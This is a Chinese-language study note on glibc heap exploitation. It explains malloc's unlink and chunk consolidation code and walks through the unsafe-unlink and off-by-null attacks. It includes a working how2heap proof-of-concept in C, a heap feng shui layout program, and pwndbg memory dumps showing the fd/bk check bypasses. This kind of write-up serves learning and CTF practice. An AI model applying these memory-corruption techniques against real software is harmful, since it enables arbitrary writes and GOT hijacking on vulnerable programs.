unsafe-unlink

经典漏洞

当一个 free chunk 从双向链表的 bins 中取出时(堆的合并),这个过程就是 unlink。

堆的合并主要看这一段代码,存在两种合并方式

  • int_free 参数:p是正在free的chunk,av 指 arena(struct malloc_state),lock避免条件竞争
  • 向后合并:prev_inuse位为0,会发生unsorted bin之间合并,会检查prev_size 和 想要合并的 bin 的 size 是否相同。unlink prev_chunk
  • 向前合并:不是top_chunk, unlink nextchunk。
  • 至于方向:在没有翻译错误的情况下,有点绕,但是可以强行解释,因为堆往高地址生长,向前就是向高地址合并,向后就是向低地址合并?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#define inuse_bit_at_offset(p, s)					      \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)

/* Size of the chunk below P. Only valid if !prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)

/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize)); // p = p-prevsize,就是前面的 chunk
if (__glibc_unlikely(chunksize(p) != prevsize))
malloc_printerr("corrupted size vs. prev_size while consolidating");
unlink_chunk(av, p);
}

// nextchunk = chunk_at_offset(p, size); 就是根据size进行加法,是一个宏,就是当前chunk的下一个chunk
// nextsize = chunksize(nextchunk);
if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse) {
unlink_chunk(av, nextchunk); // 当前的 arena 和 next_chunk 使用指针连接
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

unlink函数主要是指针的处理,假设3个chunk,a-b-c,a-b在unsortedbin 范围,c主要防止top_chunk合并,正常情况下

  • 首先,unsorted bin 按照free时间顺序连接,fd指向时间靠前的chunk。
  • 向前合并:free b, free a。先成为 arena<->b 双链表,然后在调用 unlink(av, b)。
  • 向后合并:free a, free b。先成为 arena<->a 双链表 在int_free 调用的是 unlink(av, a)。
  • 这里就使用向后合并举例:fd=a->fd=arena, bk=a->bk=arena;在经历一个赋值语句变为 arena->bk=arena,areba->fd=arena。从arena<->a 变成了 arena 完成unlink此操作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static void unlink_chunk(mstate av, mchunkptr p) {
if (chunksize(p) != prev_size(next_chunk(p)))
malloc_printerr("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect(fd->bk != p || bk->fd != p, 0))
malloc_printerr("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range(chunksize_nomask(p)) && p->fd_nextsize != NULL) {
if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
malloc_printerr("corrupted double-linked list (not small)");

if (fd->fd_nextsize == NULL) {
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else {
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
} else {
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}

然后后续继续进入free函数里操作

  • 后续操作:此时p指向a,找到arena的bins数组,然后链入arena,设置head和foot
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Set size/use field */
// 设置size罢了
#define set_head(p, s) ((p)->mchunk_size = (s))

/* Set size at footer (only when chunk is not in use) */
// 设置下一个chunk的prev_size
#define set_foot(p, s)       (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))

bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
malloc_printerr("free(): corrupted unsorted chunks");
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;

set_head(p, size | PREV_INUSE);
set_foot(p, size);

check_free_chunk(av, p);

最后:arena的bins数组存放数据:

  • 这样涉及就好像有fd,bk指针。
1
bins[1] = bins[0] = &bins - 0x10

Attack

相关的攻击手段。

uaf

早期发现此漏洞时,没有 fd->bk != p || bk->fd != p 这个条件,因此直接修改 fd, bk 来进行任意地址写

  • 任意地址写,如果开了 got 表保护,可以写 hook。

在没有 PIE 和 got表可以写时,可以通过修改got表。其本质是一个heap overflow这是比较简单的。

  • 主要是利用 unlink 中的代码,其中指针赋值简化为 p->fd->bk = p->bk, p->bk->fd = p->fd
  • 我们控制这个 p 的内容。
  1. 按照时间 malloc A,B
  2. A 堆溢出,修改A的内容 修改B的header
  • target = &p,需要我们可以写。或者 target就是p
  • 我们在 A 里伪造一个 fake free chunk: prev_inuse, size, fd=&target-0x18, bk=&target=0x10
  • 利用堆溢出修改 B 的header,让fake free chunk 和 B 可以合并。
  1. free B 就会 unlink,p 就是 fake free chunk,触发unlink。
1
2
3
4
5
6
7
8
9
10
11
12
+---------+                     +----------+ 
| | | |
| A | +----------+
| | | | A中伪造 => fake heap head(sz, fd, bk) + data
| | |fake heap |
| | | |
+---------+ ==heap overflow===>+----------+ ===========================> free B => unlink
| | |ps sz |
| | | | B head => prev size 过检查
| B | | | prev_inuse 为0
| | | |
+---------+ +----------+

how2heap 案例

  • 编译时指定no-pie
  • 测试在ubuntu 22.04,可以通过assert.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

uint64_t *chunk0_ptr;

int main() {
setbuf(stdout, NULL);

int malloc_size = 0x420;
int header_size = 2;

chunk0_ptr = (uint64_t *)malloc(malloc_size); // chunk0
uint64_t *chunk1_ptr = (uint64_t *)malloc(malloc_size); // chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr,
chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

// fake_head
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;

// fake fd && fake bk
chunk0_ptr[2] = (uint64_t)&chunk0_ptr - (sizeof(uint64_t) * 3);
chunk0_ptr[3] = (uint64_t)&chunk0_ptr - (sizeof(uint64_t) * 2);
printf("Fake chunk fd: %p\n", (void *)chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n", (void *)chunk0_ptr[3]);

// chunk1 的 header 指针
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
// chunk1 -> prev_size
chunk1_hdr[0] = malloc_size;

printf(
"If we had 'normally' freed chunk0, chunk1.previous_size would have been "
"0x430, however this is its new value: %p\n",
(void *)chunk1_hdr[0]);

// prev_inuse 为 0
chunk1_hdr[1] &= ~1;

// unlink 发生
// chunk0_ptr->fd = &chunk0_ptr-0x18
// 修改chunk0_ptr 可以修改 *(chunk0_ptr - 0x18 )的值
free(chunk1_ptr);

char victim_string[8];
strcpy(victim_string, "Hello!~");
chunk0_ptr[3] = (uint64_t)victim_string;

printf("Original value: %s\n", victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n", victim_string);

// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}

比较绕,但是可以直接看最后的结果,chunk0_ptr->bk->fd = chunk0_ptr->fd。target 的内容存放着 &target-0x10 target的地址减去0x18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# chunk0_ptr 堆地址
pwndbg> x/8xg 0x405290
0x405290: 0x0000000000000000 0x0000000000000431
0x4052a0: 0x0000000000000000 0x0000000000020d61
0x4052b0: 0x0000000000404050 0x0000000000404058 # fake_fd fake_bk
0x4052c0: 0x0000000000000000 0x0000000000000000

# &chunk0_ptr
# (&chunk0_ptr - 0x10) -> fd = fake_fd
pwndbg> x/8xg 0x0000000000404058+0x10
0x404068 <chunk0_ptr>: 0x0000000000404050 0x0000000000000000
0x404078: 0x0000000000000000 0x0000000000000000
0x404088: 0x0000000000000000 0x0000000000000000
0x404098: 0x0000000000000000 0x0000000000000000

结论:target 指针指向 &target-0x18。我见过的问题一般利用在全局指针数组中,通过这种方式修改got表内容。
arr[0],这样就可以修改和读取 arr[0] 。改成got表,读取内容,泄露地址,又可以修改就直接修改got表内容。
没有所有权的编程是这样的

off by null

也是堆溢出的一种形式,但还是区分一下。在这里可以攻击保护全开的程序,主要利用点为堆可以合并。

libc2.29 以前

  • 先释放chunk A.
  • 通过chunk B,利用off by one漏洞在 修改chunk C presize 值为 chunk A size +chunk B size的同时,将chunk C的prev_inuse值覆盖为0.
  • 再释放chunk C。

libc2.29 以后有个检查,会检查prev_chunk size是否和当前的 chunk 的 prev_size 相同,而 off by null,我们无法直接改变 chunk size,因此我们在chunk里伪造一个chunk

1
if (__glibc_unlikely(chunksize(p) != prevsize))

修改后的off by null利用手段,因为没有arena的检查,只是检查了in_use位和size相关检查

  • 三个堆 A,B,C,最好是 0x438 这种不是整数类型的,会存在一段公用的结果。c防止与top_chunk合并
  • 编辑A,在A中伪造一个堆,覆盖掉B的prev_inuse 位
  • free掉B,就会向后合并。
  • 但是需要绕过unlink_chunk中对fd, bk检查 __builtin_expect(fd->bk != p || bk->fd != p, 0)

简单点的题目会给我们一个基地址,这里我们就可以直接像unlink一样修改fd,bk就行

  • tcache leak 在libc 2.32 需要 (fd>>12) ^ 0
  • unsorted bin 存在两个chunk,泄露其中一个的 fd,bk可以得到堆地址
  • largebin 的四个指针,只有一个chunk可以使用fd_nextsize 和 bk_nextsize指向自己

在比较苛刻的条件下,我们不能泄露堆地址,但是可以通过布局heap fengshui 进行伪造fake chunk。假设程序存在off by null

  • a-x-b-c-x-d-x, a,b,c,d 大小都在unsorted bin里,x是避免合并的chunk (c>d>a=b)
  • free a, c, d 拿fd来说就是形成 d->c->a->arena 的链表。
  • free b 这时候b,c合并。变成了 b->d->a->arena 链表,但是这时候c的指针并没有清除。
  • unsorted bin FIFO。此处需要将 a,d放入largebin里,然后切割 b-c,生成e,e包含c的 fd, bk指针。
  • 清空unsorted bin 获得f
  • 编辑 e,可以改原来c位置的size,并且同时包含了fd, bk 指针。因此此处我们需要改一点完成unlink中的检查。
  • 之前chunk c->fd=a, c->bk=d。因为其放入了largebin里 a->bk = d, d->fd = a,无法通过检查,因此我们需要想办法满足条件
  • 将a,d从large bin 拿出来。
  • bypass bk指针:free a, free f。a->bk = f, 将a拿出来,不会清空指针,修改一下bk指针,因为f和c距离比较近,因此我们可以通过partial write修改bk
  • bypass fd指针: 直接向bypass bk一样,bk指向的是arena。free f, free d,d->fd=f。让后让其进入largebin里,d->fd=f。拿回d就行
    • 这里为什么不在unsortbin里:直接拿出d,会先将f放入largebin,然后d->arena 形成链表。先拿f再拿出d, d->arena链表。都破坏了fd指针(没有指向堆。

可以使用这段代码调试,没有指针改变,主要看的是可行性。

  • 最好重新分布一下size,最简单是修改 x0 大小。保证f和c 只有最后一个字节不同
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>

int main() {
void *a = malloc(0x418);
void *x0 = malloc(0x18);
void *b = malloc(0x418);
void *c = malloc(0x438);
void *x1 = malloc(0x18);
void *d = malloc(0x428);
void *x2 = malloc(0x18);

free(a);
free(c);
free(d);
free(b);

void *e = malloc(0x438); // 切割 b-c
void *f = malloc(0x418); // 清除unsorted bin
d = malloc(0x428); // largebin 获得 p4
a = malloc(0x418); // large bin 获得 p1

free(a);
free(f); // p1->bk =
a = malloc(0x418);
f = malloc(0x418);

free(f);
free(d);

malloc(0x1000); // large bin

d = malloc(0x428);

return 0;
}

bk bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> p f
$2 = (void *) 0x555555559b20

pwndbg> x/8xg 0x555555559b20-0x30
0x555555559af0: 0x0000000000000000 0x0000000000000441
0x555555559b00: 0x0000555555559290 0x0000555555559f50
0x555555559b10: 0x0000000000000000 0x0000000000000421
0x555555559b20: 0x00007ffff7e1a0d0 0x00007ffff7e1a0d0

# 这里bk需要覆盖2byte才行,可以优化size,让其只覆盖1byte就行。
pwndbg> x/4xg 0x0000555555559290
0x555555559290: 0x0000000000000000 0x0000000000000421
0x5555555592a0: 0x00007ffff7e19ce0 0x0000555555559b10

fd bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> p f
$1 = (void *) 0x555555559b20

pwndbg> x/8xg 0x555555559b20-0x30
0x555555559af0: 0x0000000000000000 0x0000000000000441
0x555555559b00: 0x0000555555559290 0x0000555555559f50
0x555555559b10: 0x0000000000000000 0x0000000000000421
0x555555559b20: 0x00007ffff7e1a0d0 0x00007ffff7e1a0d0

# 这里就是fd
pwndbg> x/8xg 0x0000555555559f50
0x555555559f50: 0x0000000000000000 0x0000000000000431
0x555555559f60: 0x0000555555559b10 0x00007ffff7e1a0d0
0x555555559f70: 0x0000555555559b10 0x0000555555559b10
0x555555559f80: 0x0000000000000000 0x0000000000000000

kernel ?

  • kernel 存在很多的 list_head 结构体,我们可以使用 条件竞争 来修改指针,借助如同 msg_msg 结构体来进行任意地址写

参考文章